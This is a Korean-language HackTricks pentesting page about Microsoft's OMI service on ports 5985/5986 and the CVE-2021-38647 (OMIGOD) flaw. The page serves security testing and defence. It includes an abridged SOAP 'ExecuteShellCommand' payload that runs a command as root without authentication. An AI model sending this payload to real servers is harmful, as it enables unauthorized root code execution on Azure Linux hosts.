mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.2 KiB
2.2 KiB
5985,5986 - Pentesting OMI
{{#include ../banners/hacktricks-training.md}}
기본 정보
OMI는 Microsoft에서 원격 구성 관리를 위해 설계된 오픈 소스 도구로 제공됩니다. 이는 Azure에서 다음과 같은 서비스를 사용하는 Linux 서버와 특히 관련이 있습니다:
- Azure Automation
- Azure Automatic Update
- Azure Operations Management Suite
- Azure Log Analytics
- Azure Configuration Management
- Azure Diagnostics
이 서비스가 활성화되면 omiengine
프로세스가 시작되어 모든 인터페이스에서 루트로 수신 대기합니다.
기본 포트로 사용되는 것은 5985 (http) 및 5986 (https)입니다.
CVE-2021-38647 취약점
9월 16일에 관찰된 바와 같이, 언급된 서비스가 배포된 Azure의 Linux 서버는 OMI의 취약한 버전으로 인해 취약합니다. 이 취약점은 OMI 서버가 /wsman
엔드포인트를 통해 메시지를 처리할 때 인증 헤더를 요구하지 않아 클라이언트를 잘못 인증하는 데 있습니다.
공격자는 인증 헤더 없이 "ExecuteShellCommand" SOAP 페이로드를 전송하여 서버가 루트 권한으로 명령을 실행하도록 강제할 수 있습니다.
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
이 CVE에 대한 자세한 정보는 여기 확인하세요.
참조
- https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/
- https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/
{{#include ../banners/hacktricks-training.md}}